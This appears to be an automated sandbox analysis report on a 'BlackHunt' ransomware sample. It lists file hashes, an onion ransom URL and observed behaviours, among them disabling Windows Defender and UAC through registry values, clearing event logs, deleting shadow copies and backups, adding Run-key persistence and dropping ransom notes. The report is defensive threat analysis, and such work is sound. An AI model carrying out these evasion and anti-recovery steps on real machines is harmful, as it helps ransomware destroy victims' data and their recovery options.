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Analysis
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max time kernel
117s -
max time network
118s -
platform
windows7_x64 -
resource
win7-20231129-en -
resource tags
arch:x64arch:x86image:win7-20231129-enlocale:en-usos:windows7-x64system -
submitted
19/01/2024, 00:28
Static task
static1
Behavioral task
behavioral1
Sample
a96d2fa41615eb8abfe20122bfe9faff36430af92d1efd5faf9af141d010f23c.exe
Resource
win7-20231129-en
Behavioral task
behavioral2
Sample
a96d2fa41615eb8abfe20122bfe9faff36430af92d1efd5faf9af141d010f23c.exe
Resource
win10v2004-20231215-en
General
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Target
a96d2fa41615eb8abfe20122bfe9faff36430af92d1efd5faf9af141d010f23c.exe
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Size
707KB
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MD5
46756014054d0dee5c8854c051514066
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SHA1
ade9e1cf6c5e3aba2297fcdadf52b8ced059d304
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SHA256
a96d2fa41615eb8abfe20122bfe9faff36430af92d1efd5faf9af141d010f23c
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SHA512
0234fd6dbf1f4b93a5d6a203ea8d682df514c22d6e21fcb1518931e8ec07adef00244737f31b251330b24c9793300dd753217d3e592cd2d924ef94f66f14a054
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SSDEEP
6144:wcmwdMZ0aq9arLKkdMqJ+VYg/5ICAAQs+d5zSTamgEoOFzxLza1D8tvnh:6uaTmkZJ+naie5OTamgEoKxLW6Zh
Malware Config
Extracted
C:\ProgramData\#BlackHunt_ReadMe.hta
http-equiv="x-ua-compatible"
http://sdjf982lkjsdvcjlksaf2kjhlksvvnktyoiasuc92lf.onion
Signatures
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Deletes NTFS Change Journal 2 TTPs 2 IoCs
The USN change journal is a persistent log of all changes made to local files used by Windows Server systems.
pid Process 564 fsutil.exe 3060 fsutil.exe -
description ioc Process Key created \REGISTRY\MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection reg.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableRealtimeMonitoring = "1" reg.exe -
description ioc Process Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0" a96d2fa41615eb8abfe20122bfe9faff36430af92d1efd5faf9af141d010f23c.exe -
Clears Windows event logs 1 TTPs 5 IoCs
pid Process 3384 wevtutil.exe 3536 wevtutil.exe 2856 wevtutil.exe 2580 wevtutil.exe 644 wevtutil.exe -
Deletes shadow copies 2 TTPs
Ransomware often targets backup files to inhibit system recovery.
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Modifies boot configuration data using bcdedit 1 TTPs 4 IoCs
pid Process 2628 bcdedit.exe 3224 bcdedit.exe 3184 bcdedit.exe 3520 bcdedit.exe -
Renames multiple (2884) files with added filename extension
This suggests ransomware activity of encrypting all the files on the system.
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pid Process 3728 wbadmin.exe 3900 wbadmin.exe -
Disables Task Manager via registry modification
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Disables use of System Restore points 1 TTPs
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Deletes itself 1 IoCs
pid Process 3412 cmd.exe -
Adds Run key to start application 2 TTPs 1 IoCs
description ioc Process Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\{2C5F9FCC-F266-43F6-BFD7-838DAE269E11} = "C:\\ProgramData\\#BlackHunt_ReadMe.hta" reg.exe -
description ioc Process Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0" a96d2fa41615eb8abfe20122bfe9faff36430af92d1efd5faf9af141d010f23c.exe -
Enumerates connected drives 3 TTPs 27 IoCs
Attempts to read the root path of hard drives other than the default C: drive.
description ioc Process File opened (read-only) \??\E: a96d2fa41615eb8abfe20122bfe9faff36430af92d1efd5faf9af141d010f23c.exe File opened (read-only) \??\Y: a96d2fa41615eb8abfe20122bfe9faff36430af92d1efd5faf9af141d010f23c.exe File opened (read-only) \??\U: a96d2fa41615eb8abfe20122bfe9faff36430af92d1efd5faf9af141d010f23c.exe File opened (read-only) \??\I: a96d2fa41615eb8abfe20122bfe9faff36430af92d1efd5faf9af141d010f23c.exe File opened (read-only) \??\O: a96d2fa41615eb8abfe20122bfe9faff36430af92d1efd5faf9af141d010f23c.exe File opened (read-only) \??\K: a96d2fa41615eb8abfe20122bfe9faff36430af92d1efd5faf9af141d010f23c.exe File opened (read-only) \??\F: fsutil.exe File opened (read-only) \??\L: a96d2fa41615eb8abfe20122bfe9faff36430af92d1efd5faf9af141d010f23c.exe File opened (read-only) \??\Q: a96d2fa41615eb8abfe20122bfe9faff36430af92d1efd5faf9af141d010f23c.exe File opened (read-only) \??\R: a96d2fa41615eb8abfe20122bfe9faff36430af92d1efd5faf9af141d010f23c.exe File opened (read-only) \??\S: a96d2fa41615eb8abfe20122bfe9faff36430af92d1efd5faf9af141d010f23c.exe File opened (read-only) \??\W: a96d2fa41615eb8abfe20122bfe9faff36430af92d1efd5faf9af141d010f23c.exe File opened (read-only) \??\H: a96d2fa41615eb8abfe20122bfe9faff36430af92d1efd5faf9af141d010f23c.exe File opened (read-only) \??\T: a96d2fa41615eb8abfe20122bfe9faff36430af92d1efd5faf9af141d010f23c.exe File opened (read-only) \??\A: a96d2fa41615eb8abfe20122bfe9faff36430af92d1efd5faf9af141d010f23c.exe File opened (read-only) \??\J: a96d2fa41615eb8abfe20122bfe9faff36430af92d1efd5faf9af141d010f23c.exe File opened (read-only) \??\Z: a96d2fa41615eb8abfe20122bfe9faff36430af92d1efd5faf9af141d010f23c.exe File opened (read-only) \??\V: a96d2fa41615eb8abfe20122bfe9faff36430af92d1efd5faf9af141d010f23c.exe File opened (read-only) \??\N: a96d2fa41615eb8abfe20122bfe9faff36430af92d1efd5faf9af141d010f23c.exe File opened (read-only) \??\G: a96d2fa41615eb8abfe20122bfe9faff36430af92d1efd5faf9af141d010f23c.exe File opened (read-only) \??\X: a96d2fa41615eb8abfe20122bfe9faff36430af92d1efd5faf9af141d010f23c.exe File opened (read-only) \??\B: a96d2fa41615eb8abfe20122bfe9faff36430af92d1efd5faf9af141d010f23c.exe File opened (read-only) \??\F: vssadmin.exe File opened (read-only) \??\F: conhost.exe File opened (read-only) \??\P: a96d2fa41615eb8abfe20122bfe9faff36430af92d1efd5faf9af141d010f23c.exe File opened (read-only) \??\M: a96d2fa41615eb8abfe20122bfe9faff36430af92d1efd5faf9af141d010f23c.exe File opened (read-only) \??\M: fsutil.exe -
Looks up external IP address via web service 1 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
flow ioc 2 ip-api.com -
Sets desktop wallpaper using registry 2 TTPs 1 IoCs
description ioc Process Set value (str) \REGISTRY\USER\S-1-5-21-3627615824-4061627003-3019543961-1000\Control Panel\Desktop\Wallpaper = "C:\\ProgramData\\#BlackHunt_BG.jpg" a96d2fa41615eb8abfe20122bfe9faff36430af92d1efd5faf9af141d010f23c.exe -
Drops file in Program Files directory 64 IoCs
description ioc Process File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\modules\locale\org-netbeans-modules-print_zh_CN.jar a96d2fa41615eb8abfe20122bfe9faff36430af92d1efd5faf9af141d010f23c.exe File created C:\Program Files\VideoLAN\VLC\locale\oc\LC_MESSAGES\#BlackHunt_ReadMe.hta a96d2fa41615eb8abfe20122bfe9faff36430af92d1efd5faf9af141d010f23c.exe File created C:\Program Files\DVD Maker\de-DE\#BlackHunt_ReadMe.hta a96d2fa41615eb8abfe20122bfe9faff36430af92d1efd5faf9af141d010f23c.exe File opened for modification C:\Program Files\DVD Maker\Shared\DvdStyles\Push\NavigationLeft_ButtonGraphic.png a96d2fa41615eb8abfe20122bfe9faff36430af92d1efd5faf9af141d010f23c.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\modules\org-netbeans-modules-masterfs.jar a96d2fa41615eb8abfe20122bfe9faff36430af92d1efd5faf9af141d010f23c.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\features\org.eclipse.help_2.0.102.v20141007-2301\META-INF\MANIFEST.MF a96d2fa41615eb8abfe20122bfe9faff36430af92d1efd5faf9af141d010f23c.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.e4.ui.di_1.0.0.v20140328-2112.jar a96d2fa41615eb8abfe20122bfe9faff36430af92d1efd5faf9af141d010f23c.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.e4.ui.services_1.1.0.v20140328-1925.jar a96d2fa41615eb8abfe20122bfe9faff36430af92d1efd5faf9af141d010f23c.exe File created C:\Program Files\VideoLAN\VLC\locale\tet\LC_MESSAGES\#BlackHunt_Private.key a96d2fa41615eb8abfe20122bfe9faff36430af92d1efd5faf9af141d010f23c.exe File opened for modification C:\Program Files\7-Zip\Lang\ne.txt a96d2fa41615eb8abfe20122bfe9faff36430af92d1efd5faf9af141d010f23c.exe File opened for modification C:\Program Files\DVD Maker\Shared\DvdStyles\OldAge\vintage.png a96d2fa41615eb8abfe20122bfe9faff36430af92d1efd5faf9af141d010f23c.exe File created C:\Program Files\VideoLAN\VLC\locale\cgg\#BlackHunt_ReadMe.txt a96d2fa41615eb8abfe20122bfe9faff36430af92d1efd5faf9af141d010f23c.exe File opened for modification C:\Program Files\Java\jre7\lib\zi\Atlantic\Madeira a96d2fa41615eb8abfe20122bfe9faff36430af92d1efd5faf9af141d010f23c.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\America\Noronha a96d2fa41615eb8abfe20122bfe9faff36430af92d1efd5faf9af141d010f23c.exe File opened for modification C:\Program Files\Java\jre7\lib\security\blacklist a96d2fa41615eb8abfe20122bfe9faff36430af92d1efd5faf9af141d010f23c.exe File created C:\Program Files\VideoLAN\VLC\locale\mk\LC_MESSAGES\#BlackHunt_ReadMe.txt a96d2fa41615eb8abfe20122bfe9faff36430af92d1efd5faf9af141d010f23c.exe File opened for modification C:\Program Files\VideoLAN\VLC\lua\http\css\ui-lightness\images\ui-bg_highlight-soft_100_eeeeee_1x100.png a96d2fa41615eb8abfe20122bfe9faff36430af92d1efd5faf9af141d010f23c.exe File created C:\Program Files\Java\jdk1.7.0_80\jre\lib\cmm\#BlackHunt_ReadMe.txt a96d2fa41615eb8abfe20122bfe9faff36430af92d1efd5faf9af141d010f23c.exe File opened for modification C:\Program Files (x86)\Adobe\Reader 9.0\Reader\AMT\AUMProduct.aup a96d2fa41615eb8abfe20122bfe9faff36430af92d1efd5faf9af141d010f23c.exe File created C:\Program Files (x86)\Adobe\Reader 9.0\Resource\TypeSupport\Unicode\ICU\#BlackHunt_Private.key a96d2fa41615eb8abfe20122bfe9faff36430af92d1efd5faf9af141d010f23c.exe File opened for modification C:\Program Files\7-Zip\Lang\zh-tw.txt a96d2fa41615eb8abfe20122bfe9faff36430af92d1efd5faf9af141d010f23c.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\America\Godthab a96d2fa41615eb8abfe20122bfe9faff36430af92d1efd5faf9af141d010f23c.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\visualvm\update_tracking\com-sun-tools-visualvm-host-remote.xml a96d2fa41615eb8abfe20122bfe9faff36430af92d1efd5faf9af141d010f23c.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\modules\org-netbeans-modules-autoupdate-ui.jar a96d2fa41615eb8abfe20122bfe9faff36430af92d1efd5faf9af141d010f23c.exe File opened for modification C:\Program Files\Java\jre7\lib\zi\Europe\Rome a96d2fa41615eb8abfe20122bfe9faff36430af92d1efd5faf9af141d010f23c.exe File opened for modification C:\Program Files\VideoLAN\VLC\locale\nb\LC_MESSAGES\vlc.mo a96d2fa41615eb8abfe20122bfe9faff36430af92d1efd5faf9af141d010f23c.exe File created C:\Program Files\VideoLAN\VLC\locale\tr\#BlackHunt_ReadMe.txt a96d2fa41615eb8abfe20122bfe9faff36430af92d1efd5faf9af141d010f23c.exe File created C:\Program Files\VideoLAN\VLC\lua\#BlackHunt_ReadMe.hta a96d2fa41615eb8abfe20122bfe9faff36430af92d1efd5faf9af141d010f23c.exe File created C:\Program Files\DVD Maker\ja-JP\#BlackHunt_ReadMe.hta a96d2fa41615eb8abfe20122bfe9faff36430af92d1efd5faf9af141d010f23c.exe File opened for modification C:\Program Files\7-Zip\Lang\nb.txt a96d2fa41615eb8abfe20122bfe9faff36430af92d1efd5faf9af141d010f23c.exe File created C:\Program Files\Java\jdk1.7.0_80\db\bin\#BlackHunt_Private.key a96d2fa41615eb8abfe20122bfe9faff36430af92d1efd5faf9af141d010f23c.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\America\Argentina\Salta a96d2fa41615eb8abfe20122bfe9faff36430af92d1efd5faf9af141d010f23c.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\config\ModuleAutoDeps\org-openide-nodes.xml a96d2fa41615eb8abfe20122bfe9faff36430af92d1efd5faf9af141d010f23c.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\update_tracking\org-openide-modules.xml a96d2fa41615eb8abfe20122bfe9faff36430af92d1efd5faf9af141d010f23c.exe File created C:\Program Files\VideoLAN\VLC\plugins\#BlackHunt_Private.key a96d2fa41615eb8abfe20122bfe9faff36430af92d1efd5faf9af141d010f23c.exe File opened for modification C:\Program Files\DVD Maker\Shared\DvdStyles\4to3Squareframe_SelectionSubpicture.png a96d2fa41615eb8abfe20122bfe9faff36430af92d1efd5faf9af141d010f23c.exe File opened for modification C:\Program Files\DVD Maker\Shared\DvdStyles\ResizingPanels\NavigationUp_ButtonGraphic.png a96d2fa41615eb8abfe20122bfe9faff36430af92d1efd5faf9af141d010f23c.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\security\blacklist a96d2fa41615eb8abfe20122bfe9faff36430af92d1efd5faf9af141d010f23c.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\com.jrockit.mc.rjmx_5.5.0.165303\lib\imap.jar a96d2fa41615eb8abfe20122bfe9faff36430af92d1efd5faf9af141d010f23c.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\config\Modules\org-netbeans-modules-print.xml a96d2fa41615eb8abfe20122bfe9faff36430af92d1efd5faf9af141d010f23c.exe File opened for modification C:\Program Files\DVD Maker\Shared\DvdStyles\Heart_VideoInset.png a96d2fa41615eb8abfe20122bfe9faff36430af92d1efd5faf9af141d010f23c.exe File opened for modification C:\Program Files\DVD Maker\Shared\DvdStyles\Sports\sports_disc_mask.png a96d2fa41615eb8abfe20122bfe9faff36430af92d1efd5faf9af141d010f23c.exe File created C:\Program Files\Java\jre7\lib\management\#BlackHunt_Private.key a96d2fa41615eb8abfe20122bfe9faff36430af92d1efd5faf9af141d010f23c.exe File created C:\Program Files\VideoLAN\VLC\locale\bs\LC_MESSAGES\#BlackHunt_Private.key a96d2fa41615eb8abfe20122bfe9faff36430af92d1efd5faf9af141d010f23c.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\include\jni.h a96d2fa41615eb8abfe20122bfe9faff36430af92d1efd5faf9af141d010f23c.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\com.jrockit.mc.greychart.ui_5.5.0.165303.jar a96d2fa41615eb8abfe20122bfe9faff36430af92d1efd5faf9af141d010f23c.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.apache.commons.logging_1.1.1.v201101211721.jar a96d2fa41615eb8abfe20122bfe9faff36430af92d1efd5faf9af141d010f23c.exe File opened for modification C:\Program Files\Java\jre7\lib\zi\Indian\Chagos a96d2fa41615eb8abfe20122bfe9faff36430af92d1efd5faf9af141d010f23c.exe File created C:\Program Files\VideoLAN\VLC\locale\sv\LC_MESSAGES\#BlackHunt_Private.key a96d2fa41615eb8abfe20122bfe9faff36430af92d1efd5faf9af141d010f23c.exe File created C:\Program Files\VideoLAN\VLC\lua\http\dialogs\#BlackHunt_Private.key a96d2fa41615eb8abfe20122bfe9faff36430af92d1efd5faf9af141d010f23c.exe File created C:\Program Files\Java\jdk1.7.0_80\jre\lib\amd64\#BlackHunt_Private.key a96d2fa41615eb8abfe20122bfe9faff36430af92d1efd5faf9af141d010f23c.exe File opened for modification C:\Program Files\DVD Maker\Shared\DvdStyles\BabyBoy\BabyBoyMainToNotesBackground.wmv a96d2fa41615eb8abfe20122bfe9faff36430af92d1efd5faf9af141d010f23c.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\America\Indiana\Indianapolis a96d2fa41615eb8abfe20122bfe9faff36430af92d1efd5faf9af141d010f23c.exe File opened for modification C:\Program Files\Java\jre7\lib\zi\Etc\GMT+5 a96d2fa41615eb8abfe20122bfe9faff36430af92d1efd5faf9af141d010f23c.exe File created C:\Program Files\VideoLAN\VLC\locale\ko\#BlackHunt_ReadMe.hta a96d2fa41615eb8abfe20122bfe9faff36430af92d1efd5faf9af141d010f23c.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.e4.ui.workbench3.nl_ja_4.4.0.v20140623020002.jar a96d2fa41615eb8abfe20122bfe9faff36430af92d1efd5faf9af141d010f23c.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\modules\ext\updater.jar a96d2fa41615eb8abfe20122bfe9faff36430af92d1efd5faf9af141d010f23c.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\modules\locale\org-netbeans-modules-settings_zh_CN.jar a96d2fa41615eb8abfe20122bfe9faff36430af92d1efd5faf9af141d010f23c.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\profiler\modules\org-netbeans-modules-profiler.jar a96d2fa41615eb8abfe20122bfe9faff36430af92d1efd5faf9af141d010f23c.exe File opened for modification C:\Program Files (x86)\Adobe\Reader 9.0\Resource\Font\MyriadPro-Regular.otf a96d2fa41615eb8abfe20122bfe9faff36430af92d1efd5faf9af141d010f23c.exe File opened for modification C:\Program Files\DVD Maker\Shared\DvdStyles\Performance\userContent_16x9_imagemask.png a96d2fa41615eb8abfe20122bfe9faff36430af92d1efd5faf9af141d010f23c.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.core.jobs_3.6.0.v20140424-0053.jar a96d2fa41615eb8abfe20122bfe9faff36430af92d1efd5faf9af141d010f23c.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\config\Modules\org-openide-compat.xml a96d2fa41615eb8abfe20122bfe9faff36430af92d1efd5faf9af141d010f23c.exe File opened for modification C:\Program Files (x86)\Adobe\Reader 9.0\Resource\SaslPrep\SaslPrepProfile_norm_bidi.spp a96d2fa41615eb8abfe20122bfe9faff36430af92d1efd5faf9af141d010f23c.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
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Creates scheduled task(s) 1 TTPs 1 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
pid Process 3248 schtasks.exe -
Interacts with shadow copies 2 TTPs 6 IoCs
Shadow copies are often targeted by ransomware to inhibit system recovery.
pid Process 1532 vssadmin.exe 3236 vssadmin.exe 3136 vssadmin.exe 2716 vssadmin.exe 1688 vssadmin.exe 2208 vssadmin.exe -
Kills process with taskkill 1 IoCs
pid Process 760 taskkill.exe -
Modifies registry class 8 IoCs
description ioc Process Key created \REGISTRY\MACHINE\Software\Classes\.Hunt2\DefaultIcon reg.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\.Hunt2\DefaultIcon\ = "C:\\ProgramData\\#BlackHunt_Icon.ico" reg.exe Key created \REGISTRY\MACHINE\Software\Classes\Hunt2 reg.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Hunt2\ reg.exe Key created \REGISTRY\MACHINE\Software\Classes\Hunt2\DefaultIcon reg.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Hunt2\DefaultIcon\ = "C:\\ProgramData\\#BlackHunt_Icon.ico" reg.exe Key created \REGISTRY\MACHINE\Software\Classes\.Hunt2 reg.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\.Hunt2\ reg.exe -
Runs ping.exe 1 TTPs 1 IoCs
pid Process 1916 PING.EXE -
Suspicious behavior: CmdExeWriteProcessMemorySpam 1 IoCs
pid Process 1820 mshta.exe -
Suspicious use of AdjustPrivilegeToken 24 IoCs
description pid Process Token: SeDebugPrivilege 2316 a96d2fa41615eb8abfe20122bfe9faff36430af92d1efd5faf9af141d010f23c.exe Token: SeRestorePrivilege 2316 a96d2fa41615eb8abfe20122bfe9faff36430af92d1efd5faf9af141d010f23c.exe Token: SeBackupPrivilege 2316 a96d2fa41615eb8abfe20122bfe9faff36430af92d1efd5faf9af141d010f23c.exe Token: SeTakeOwnershipPrivilege 2316 a96d2fa41615eb8abfe20122bfe9faff36430af92d1efd5faf9af141d010f23c.exe Token: SeAuditPrivilege 2316 a96d2fa41615eb8abfe20122bfe9faff36430af92d1efd5faf9af141d010f23c.exe Token: SeSecurityPrivilege 2316 a96d2fa41615eb8abfe20122bfe9faff36430af92d1efd5faf9af141d010f23c.exe Token: SeIncBasePriorityPrivilege 2316 a96d2fa41615eb8abfe20122bfe9faff36430af92d1efd5faf9af141d010f23c.exe Token: SeBackupPrivilege 268 vssvc.exe Token: SeRestorePrivilege 268 vssvc.exe Token: SeAuditPrivilege 268 vssvc.exe Token: SeBackupPrivilege 2852 wbengine.exe Token: SeRestorePrivilege 2852 wbengine.exe Token: SeSecurityPrivilege 2852 wbengine.exe Token: SeSecurityPrivilege 644 wevtutil.exe Token: SeBackupPrivilege 644 wevtutil.exe Token: SeSecurityPrivilege 3384 wevtutil.exe Token: SeBackupPrivilege 3384 wevtutil.exe Token: SeSecurityPrivilege 2580 wevtutil.exe Token: SeBackupPrivilege 2580 wevtutil.exe Token: SeSecurityPrivilege 2856 wevtutil.exe Token: SeBackupPrivilege 2856 wevtutil.exe Token: SeSecurityPrivilege 3536 wevtutil.exe Token: SeBackupPrivilege 3536 wevtutil.exe Token: SeDebugPrivilege 760 taskkill.exe -
Suspicious use of WriteProcessMemory 64 IoCs
description pid Process procid_target PID 2316 wrote to memory of 2064 2316 a96d2fa41615eb8abfe20122bfe9faff36430af92d1efd5faf9af141d010f23c.exe 155 PID 2316 wrote to memory of 2064 2316 a96d2fa41615eb8abfe20122bfe9faff36430af92d1efd5faf9af141d010f23c.exe 155 PID 2316 wrote to memory of 2064 2316 a96d2fa41615eb8abfe20122bfe9faff36430af92d1efd5faf9af141d010f23c.exe 155 PID 2316 wrote to memory of 2064 2316 a96d2fa41615eb8abfe20122bfe9faff36430af92d1efd5faf9af141d010f23c.exe 155 PID 2316 wrote to memory of 940 2316 a96d2fa41615eb8abfe20122bfe9faff36430af92d1efd5faf9af141d010f23c.exe 154 PID 2316 wrote to memory of 940 2316 a96d2fa41615eb8abfe20122bfe9faff36430af92d1efd5faf9af141d010f23c.exe 154 PID 2316 wrote to memory of 940 2316 a96d2fa41615eb8abfe20122bfe9faff36430af92d1efd5faf9af141d010f23c.exe 154 PID 2316 wrote to memory of 940 2316 a96d2fa41615eb8abfe20122bfe9faff36430af92d1efd5faf9af141d010f23c.exe 154 PID 2316 wrote to memory of 2164 2316 a96d2fa41615eb8abfe20122bfe9faff36430af92d1efd5faf9af141d010f23c.exe 152 PID 2316 wrote to memory of 2164 2316 a96d2fa41615eb8abfe20122bfe9faff36430af92d1efd5faf9af141d010f23c.exe 152 PID 2316 wrote to memory of 2164 2316 a96d2fa41615eb8abfe20122bfe9faff36430af92d1efd5faf9af141d010f23c.exe 152 PID 2316 wrote to memory of 2164 2316 a96d2fa41615eb8abfe20122bfe9faff36430af92d1efd5faf9af141d010f23c.exe 152 PID 2064 wrote to memory of 860 2064 cmd.exe 151 PID 2064 wrote to memory of 860 2064 cmd.exe 151 PID 2064 wrote to memory of 860 2064 cmd.exe 151 PID 2316 wrote to memory of 2072 2316 a96d2fa41615eb8abfe20122bfe9faff36430af92d1efd5faf9af141d010f23c.exe 149 PID 2316 wrote to memory of 2072 2316 a96d2fa41615eb8abfe20122bfe9faff36430af92d1efd5faf9af141d010f23c.exe 149 PID 2316 wrote to memory of 2072 2316 a96d2fa41615eb8abfe20122bfe9faff36430af92d1efd5faf9af141d010f23c.exe 149 PID 2316 wrote to memory of 2072 2316 a96d2fa41615eb8abfe20122bfe9faff36430af92d1efd5faf9af141d010f23c.exe 149 PID 2316 wrote to memory of 2600 2316 a96d2fa41615eb8abfe20122bfe9faff36430af92d1efd5faf9af141d010f23c.exe 30 PID 2316 wrote to memory of 2600 2316 a96d2fa41615eb8abfe20122bfe9faff36430af92d1efd5faf9af141d010f23c.exe 30 PID 2316 wrote to memory of 2600 2316 a96d2fa41615eb8abfe20122bfe9faff36430af92d1efd5faf9af141d010f23c.exe 30 PID 2316 wrote to memory of 2600 2316 a96d2fa41615eb8abfe20122bfe9faff36430af92d1efd5faf9af141d010f23c.exe 30 PID 940 wrote to memory of 2748 940 cmd.exe 147 PID 940 wrote to memory of 2748 940 cmd.exe 147 PID 940 wrote to memory of 2748 940 cmd.exe 147 PID 2316 wrote to memory of 2672 2316 a96d2fa41615eb8abfe20122bfe9faff36430af92d1efd5faf9af141d010f23c.exe 145 PID 2316 wrote to memory of 2672 2316 a96d2fa41615eb8abfe20122bfe9faff36430af92d1efd5faf9af141d010f23c.exe 145 PID 2316 wrote to memory of 2672 2316 a96d2fa41615eb8abfe20122bfe9faff36430af92d1efd5faf9af141d010f23c.exe 145 PID 2316 wrote to memory of 2672 2316 a96d2fa41615eb8abfe20122bfe9faff36430af92d1efd5faf9af141d010f23c.exe 145 PID 2316 wrote to memory of 2668 2316 a96d2fa41615eb8abfe20122bfe9faff36430af92d1efd5faf9af141d010f23c.exe 142 PID 2316 wrote to memory of 2668 2316 a96d2fa41615eb8abfe20122bfe9faff36430af92d1efd5faf9af141d010f23c.exe 142 PID 2316 wrote to memory of 2668 2316 a96d2fa41615eb8abfe20122bfe9faff36430af92d1efd5faf9af141d010f23c.exe 142 PID 2316 wrote to memory of 2668 2316 a96d2fa41615eb8abfe20122bfe9faff36430af92d1efd5faf9af141d010f23c.exe 142 PID 2316 wrote to memory of 2868 2316 a96d2fa41615eb8abfe20122bfe9faff36430af92d1efd5faf9af141d010f23c.exe 141 PID 2316 wrote to memory of 2868 2316 a96d2fa41615eb8abfe20122bfe9faff36430af92d1efd5faf9af141d010f23c.exe 141 PID 2316 wrote to memory of 2868 2316 a96d2fa41615eb8abfe20122bfe9faff36430af92d1efd5faf9af141d010f23c.exe 141 PID 2316 wrote to memory of 2868 2316 a96d2fa41615eb8abfe20122bfe9faff36430af92d1efd5faf9af141d010f23c.exe 141 PID 2316 wrote to memory of 2712 2316 a96d2fa41615eb8abfe20122bfe9faff36430af92d1efd5faf9af141d010f23c.exe 139 PID 2316 wrote to memory of 2712 2316 a96d2fa41615eb8abfe20122bfe9faff36430af92d1efd5faf9af141d010f23c.exe 139 PID 2316 wrote to memory of 2712 2316 a96d2fa41615eb8abfe20122bfe9faff36430af92d1efd5faf9af141d010f23c.exe 139 PID 2316 wrote to memory of 2712 2316 a96d2fa41615eb8abfe20122bfe9faff36430af92d1efd5faf9af141d010f23c.exe 139 PID 2072 wrote to memory of 2148 2072 cmd.exe 136 PID 2072 wrote to memory of 2148 2072 cmd.exe 136 PID 2072 wrote to memory of 2148 2072 cmd.exe 136 PID 2600 wrote to memory of 2656 2600 cmd.exe 137 PID 2600 wrote to memory of 2656 2600 cmd.exe 137 PID 2600 wrote to memory of 2656 2600 cmd.exe 137 PID 2316 wrote to memory of 2720 2316 a96d2fa41615eb8abfe20122bfe9faff36430af92d1efd5faf9af141d010f23c.exe 135 PID 2316 wrote to memory of 2720 2316 a96d2fa41615eb8abfe20122bfe9faff36430af92d1efd5faf9af141d010f23c.exe 135 PID 2316 wrote to memory of 2720 2316 a96d2fa41615eb8abfe20122bfe9faff36430af92d1efd5faf9af141d010f23c.exe 135 PID 2316 wrote to memory of 2720 2316 a96d2fa41615eb8abfe20122bfe9faff36430af92d1efd5faf9af141d010f23c.exe 135 PID 2316 wrote to memory of 2492 2316 a96d2fa41615eb8abfe20122bfe9faff36430af92d1efd5faf9af141d010f23c.exe 132 PID 2316 wrote to memory of 2492 2316 a96d2fa41615eb8abfe20122bfe9faff36430af92d1efd5faf9af141d010f23c.exe 132 PID 2316 wrote to memory of 2492 2316 a96d2fa41615eb8abfe20122bfe9faff36430af92d1efd5faf9af141d010f23c.exe 132 PID 2316 wrote to memory of 2492 2316 a96d2fa41615eb8abfe20122bfe9faff36430af92d1efd5faf9af141d010f23c.exe 132 PID 2164 wrote to memory of 2708 2164 cmd.exe 31 PID 2164 wrote to memory of 2708 2164 cmd.exe 31 PID 2164 wrote to memory of 2708 2164 cmd.exe 31 PID 2316 wrote to memory of 2480 2316 a96d2fa41615eb8abfe20122bfe9faff36430af92d1efd5faf9af141d010f23c.exe 131 PID 2316 wrote to memory of 2480 2316 a96d2fa41615eb8abfe20122bfe9faff36430af92d1efd5faf9af141d010f23c.exe 131 PID 2316 wrote to memory of 2480 2316 a96d2fa41615eb8abfe20122bfe9faff36430af92d1efd5faf9af141d010f23c.exe 131 PID 2316 wrote to memory of 2480 2316 a96d2fa41615eb8abfe20122bfe9faff36430af92d1efd5faf9af141d010f23c.exe 131 PID 2316 wrote to memory of 2628 2316 a96d2fa41615eb8abfe20122bfe9faff36430af92d1efd5faf9af141d010f23c.exe 130 -
System policy modification 1 TTPs 3 IoCs
